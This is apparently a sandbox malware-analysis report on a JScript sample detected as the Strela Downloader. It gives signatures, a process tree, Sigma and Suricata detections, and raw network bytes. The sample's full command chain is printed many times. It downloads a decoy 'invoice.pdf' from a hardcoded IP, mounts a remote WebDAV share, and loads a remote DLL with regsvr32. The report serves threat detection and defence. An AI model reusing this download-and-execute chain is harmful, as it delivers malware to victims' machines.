Edit tour

Windows Analysis Report
1956351416528695.js

Overview

General Information

Sample name:	1956351416528695.js
Analysis ID:	1587924
MD5:	b44fcba68da386e0b1aa0ca2674b4f6f
SHA1:	1d78ed5d145320e074f70d78d7b181e19eeaec26
SHA256:	f95dcbd7468ef2d60dfe881aa878754aced65dbbc4d42fd5613737f2d34283ac
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7264 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7348 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7356 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7400 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7920 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8168 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 6220 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2152 --field-trial-handle=1736,i,18039073319916062668,16876774319541753716,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7936 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7984 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 5260 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7264	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7348, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7400, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7348, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7400, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ProcessId: 7264, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7984, Protocol: tcp, SourceIp: 192.168.2.7, SourceIsIpv6: false, SourcePort: 49700

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ProcessId: 7348, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ProcessId: 7264, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7348, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7400, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7936, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7984, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 5260, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7936, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7984, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1956351416528695.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7264, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\90092301325905.dll, ProcessId: 7348, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:28:13.590020+0100	1810005	1	Potentially Bad Traffic	192.168.2.7	49700	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T19:28:10.557844+0100	1810000	2	Potentially Bad Traffic	192.168.2.7	49699	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1956351416528695.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1956351416528695.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.7:49700 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:28:10 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 